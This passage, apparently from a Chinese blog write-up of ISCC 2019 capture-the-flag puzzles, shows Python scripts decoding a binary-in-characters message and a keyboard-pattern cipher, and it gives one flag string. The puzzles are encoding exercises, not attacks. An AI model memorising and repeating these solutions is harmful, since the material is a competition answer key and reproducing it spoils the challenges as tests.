<div class="crayon-num" data-line="crayon-5d0fe351b3c0d091564631-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c0d091564631-1" class="crayon-line">蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條戶囗<span class="crayon-h">  </span>萇條蓅烺計劃 洮蓠朩暒戶囗<span class="crayon-h">  </span>萇條</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">看到这个我是一脸懵逼，经大佬提示明白为二进制</span> <span class="md-plain">给出脚本</span></p>
<div id="crayon-5d0fe351b3c0e246283546" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-18">18</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-19">19</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-20">20</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-21">21</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0e246283546-22">22</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0e246283546-23">23</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c0e246283546-1" class="crayon-line"><span class="crayon-e">with </span><span class="crayon-e">open</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;Welcome.txt&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8220;r&#8221;</span><span class="crayon-sy">)</span> <span class="crayon-st">as</span> <span class="crayon-v">f</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-2" class="crayon-line crayon-striped-line">  <span class="crayon-v">s</span> <span class="crayon-o">=</span> <span class="crayon-v">f</span><span class="crayon-sy">.</span><span class="crayon-e">read</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">.</span><span class="crayon-e">split</span><span class="crayon-sy">(</span><span class="crayon-s">&#8221; &#8220;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c0e246283546-3" class="crayon-line">  <span class="crayon-v">z</span> <span class="crayon-o">=</span> <span class="crayon-cn">0</span></div>
<div id="crayon-5d0fe351b3c0e246283546-4" class="crayon-line crayon-striped-line">  <span class="crayon-e">print</span><span class="crayon-sy">(</span><span class="crayon-v">s</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c0e246283546-5" class="crayon-line">​</div>
<div id="crayon-5d0fe351b3c0e246283546-6" class="crayon-line crayon-striped-line">  <span class="crayon-st">while</span> <span class="crayon-t">True</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-7" class="crayon-line">    <span class="crayon-st">try</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-8" class="crayon-line crayon-striped-line">      <span class="crayon-v">ss</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8220;&#8221;</span></div>
<div id="crayon-5d0fe351b3c0e246283546-9" class="crayon-line">      <span class="crayon-st">for</span> <span class="crayon-i">i</span> <span class="crayon-st">in</span> <span class="crayon-e">range</span><span class="crayon-sy">(</span><span class="crayon-cn">8</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-10" class="crayon-line crayon-striped-line">        <span class="crayon-p">#print(s[z+i])</span></div>
<div id="crayon-5d0fe351b3c0e246283546-11" class="crayon-line">        <span class="crayon-st">if</span> <span class="crayon-s">&#8220;囗&#8221;</span> <span class="crayon-st">in</span> <span class="crayon-v">s</span><span class="crayon-sy">[</span><span class="crayon-v">z</span><span class="crayon-o">+</span><span class="crayon-v">i</span><span class="crayon-sy">]</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-12" class="crayon-line crayon-striped-line">          <span class="crayon-v">ss</span> <span class="crayon-o">=</span> <span class="crayon-v">ss</span><span class="crayon-o">+</span><span class="crayon-s">&#8220;1&#8221;</span></div>
<div id="crayon-5d0fe351b3c0e246283546-13" class="crayon-line">        <span class="crayon-st">else</span> <span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-14" class="crayon-line crayon-striped-line">          <span class="crayon-v">ss</span> <span class="crayon-o">=</span> <span class="crayon-v">ss</span> <span class="crayon-o">+</span> <span class="crayon-s">&#8220;0&#8221;</span></div>
<div id="crayon-5d0fe351b3c0e246283546-15" class="crayon-line">​</div>
<div id="crayon-5d0fe351b3c0e246283546-16" class="crayon-line crayon-striped-line">      <span class="crayon-e">print</span><span class="crayon-sy">(</span><span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-t">int</span><span class="crayon-sy">(</span><span class="crayon-v">ss</span><span class="crayon-sy">,</span><span class="crayon-cn">2</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">,</span><span class="crayon-st">end</span><span class="crayon-o">=</span><span class="crayon-s">&#8220;&#8221;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c0e246283546-17" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c0e246283546-18" class="crayon-line crayon-striped-line">      <span class="crayon-v">z</span> <span class="crayon-o">=</span> <span class="crayon-v">z</span> <span class="crayon-o">+</span><span class="crayon-cn">8</span></div>
<div id="crayon-5d0fe351b3c0e246283546-19" class="crayon-line">    <span class="crayon-v">except</span> <span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c0e246283546-20" class="crayon-line crayon-striped-line">      <span class="crayon-st">break</span></div>
<div id="crayon-5d0fe351b3c0e246283546-21" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c0e246283546-22" class="crayon-line crayon-striped-line">​</div>
<div id="crayon-5d0fe351b3c0e246283546-23" class="crayon-line"><span class="crayon-p">#print(int(ss))</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h1 class="md-end-block md-heading"><span class="md-plain">倒立屋</span></h1>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190505155211.png"><img src="https://y4er.com/img/uploads/20190505155211.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">IsCc_2019反转9102_cCsI提交</span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">Keyes&#8217; secret</span></h1>
<div id="crayon-5d0fe351b3c11311289487" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c11311289487-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c11311289487-1" class="crayon-line"><span class="crayon-v">RFVGYHNWSXCDEWSXCVWSXCVTGBNMJUY</span><span class="crayon-sy">,</span><span class="crayon-v">WSXZAQWDVFRQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVT</span><span class="crayon-sy">,</span><span class="crayon-e">QWERTYTRFVBGRDXCVBNBVCXSWERFTYUIOJMTGBNMJUMNBVCDRTGHUWSXCDEQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYTRFVGWSXCVGRDXCVBCVGREDQWERTY</span><span class="crayon-sy">(</span><span class="crayon-v">TRFVBTYUIOJMTRFVG</span><span class="crayon-sy">)</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYGRDXCVBQWERTYTYUIOJMEFVTNBVCXSWERFWSXCDEQWERTYTGBNMJUYTRFVGQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMTGBNMJUYIUYHNBVNBVCXSWERFTGBNMJUYMNBVCDRTGHUTYUIOJM</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYWSXIUYHNBVQWERTYGRDXCVBQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVTQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFWSXCDETYUIOJMWSXTYUIOJMWSXTGBNMJUYZAQWDVFR</span><span class="crayon-sy">.</span><span class="crayon-v">QWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYTGBNMJUIUYHNBVTGBNMJUGRDXCVBWSXCVWSXCVEFVTQWERTYWSXCFEWSXCDEIUYHNBVWSXCVGREDZAQWDVFRWSXCDEWSXCFEQWERTYTYUIOJMTGBNMJUYQWERTYIUYHNBVWSXCDEMNBVCDRTGHUEFVGYWSXCDEQWERTYGRDXCVBIUYHNBVQWERTYGRDXCVBZAQWDVFRQWERTYWSXCDEWSXCFETGBNMJUTRFVBGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYWSXCDERGNYGCWSXCDEMNBVCDRTGHUTRFVBWSXIUYHNBVWSXCDEQWERTYTYUIOJMTGBNMJUYQWERTYCVGREDWSXEFVGYWSXCDEQWERTYNBVCXSWERFGRDXCVBMNBVCDRTGHUTYUIOJMWSXTRFVBWSXNBVCXSWERFGRDXCVBZAQWDVFRTYUIOJMIUYHNBVQWERTYWSXCDERGNYGCNBVCXSWERFWSXCDEMNBVCDRTGHUWSXWSXCDEZAQWDVFRTRFVBWSXCDEQWERTYWSXZAQWDVFRQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXZAQWDVFRCVGREDQWERTYGRDXCVBQWERTYXSWEFTYHNGRDXCVBTRFVBRFVGYHNWSXZAQWDVFRWSXCDE</span><span class="crayon-sy">,</span><span class="crayon-e">QWERTYGRDXCVBIUYHNBVQWERTYEFVGYWDCFTWSXCDEWSXCVWSXCVQWERTYGRDXCVBIUYHNBVQWERTYTRFVBTGBNMJUYZAQWDVFRWSXCFETGBNMJUTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYTYUIOJMTGBNMJUYQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYIUYHNBVTGBNMJUYMNBVCDRTGHUTYUIOJMQWERTYTGBNMJUYTRFVGQWERTYGRDXCVBTYUIOJMTYUIOJMGRDXCVBTRFVBQAZSCEIUYHNBVQWERTYTRFVGTGBNMJUYTGBNMJUZAQWDVFRWSXCFEQWERTYWSXZAQWDVFRQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBWSXCVQWERTYEFVGYWDCFTTGBNMJUYMNBVCDRTGHUWSXCVWSXCFEQWERTY</span><span class="crayon-sy">(</span><span class="crayon-v">WSX</span><span class="crayon-sy">.</span><span class="crayon-v">WSXCDE</span><span class="crayon-sy">.</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYYHNMKJTGBNMJUCVGREDQWERTYYHNMKJTGBNMJUYTGBNMJUZAQWDVFRTYUIOJMEFVTQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNIUYHNBVQWERTYWSXZAQWDVFRQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTRFVGWSXCDEIUYHNBVIUYHNBVWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYIUYHNBVWSXCDETYUIOJMTYUIOJMWSXZAQWDVFRCVGREDIUYHNBV</span><span class="crayon-sy">)</span><span class="crayon-sy">.</span><span class="crayon-v">QWERTYRFVGYHNWSXCDEMNBVCDRTGHUWSXCDEQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYEFVTTGBNMJUYTGBNMJUMNBVCDRTGHUQWERTYTRFVGWSXCVGRDXCVBCVGRED</span><span class="crayon-sy">{</span><span class="crayon-v">WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU</span><span class="crayon-sy">}</span><span class="crayon-v">QWERTYMNBVCDRTGHUWSXCDEEFVGYWSXCDEMNBVCDRTGHUIUYHNBVWSXCDE</span><span class="crayon-o">&#8211;</span><span class="crayon-v">WSXCDEZAQWDVFRCVGREDWSXZAQWDVFRWSXCDEWSXCDEMNBVCDRTGHUWSXZAQWDVFRCVGRED</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYZAQWDVFRWSXCDETYUIOJMEFVGYWDCFTTGBNMJUYMNBVCDRTGHUQAZSCEQWERTYIUYHNBVZAQWDVFRWSXTRFVGTRFVGWSXZAQWDVFRCVGRED</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTYUIOJMTGBNMJUYTRFVBTGBNMJUYWSXCVQWERTYGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBV</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYIUYHNBVEFVTIUYHNBVTYUIOJMWSXCDEXSWEFTYHNQWERTYGRDXCVBWSXCFEXSWEFTYHNWSXZAQWDVFRWSXIUYHNBVTYUIOJMMNBVCDRTGHUGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFR</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNXSWEFTYHNWSXZAQWDVFRCVGRED</span><span class="crayon-sy">,</span><span class="crayon-v">QWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYGRDXCVBWSXCVWSXCVQWERTYIUYHNBVQAZSCEWSXWSXCVWSXCVIUYHNBVQWERTYEFVGYWDCFTRFVGYHNWSXTRFVBRFVGYHNQWERTYRFVGYHNGRDXCVBEFVGYWSXCDEQWERTYYHNMKJWSXCDEWSXCDEZAQWDVFRQWERTYMNBVCDRTGHUWSXCDEQAZXCDEWVTGBNMJUWSXMNBVCDRTGHUWSXCDEWSXCFEQWERTYYHNMKJEFVTQWERTYNBVCXSWERFMNBVCDRTGHUWSXTGBNMJUYMNBVCDRTGHUQWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBTYUIOJMQWERTYWSXCFEWSXCDETRFVGQWERTYTRFVBTGBNMJUYZAQWDVFR</span><span class="crayon-sy">.</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">键盘密码 参考</span><span class="md-link"><a href="https://ctf-wiki.github.io/ctf-wiki/crypto/classical/others/#_23" target="_blank" rel="nofollow noopener noreferrer">https://ctf-wiki.github.io/ctf-wiki/crypto/classical/others/#_23</a></span></p>
<p class="md-end-block md-p"><span class="md-plain">解密脚本</span></p>
<div id="crayon-5d0fe351b3c13379337311" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-18">18</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-19">19</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-20">20</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-21">21</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-22">22</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-23">23</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-24">24</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-25">25</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-26">26</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c13379337311-27">27</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c13379337311-28">28</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c13379337311-1" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;WSXCDE&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;e&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-2" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;RFVGYHN&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;h&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-3" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;WSXCV&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;l&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-4" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;TGBNMJUY&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;o&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-5" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;TGBNMJU&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;u&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-6" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;GRDXCVB&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;a&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-7" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;CVGRED&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;g&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-8" class="crayon-line crayon-striped-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;QWERTYTRFVG&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;f&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c13379337311-9" class="crayon-line"><span class="crayon-v">STR</span> <span class="crayon-o">=</span> <span class="crayon-v">STR</span><span class="crayon-sy">.</span><span class="crayon-e">replace</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;WSXCFE&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8216;d&#8217;</span><span class="crayon-sy">)</span></div>
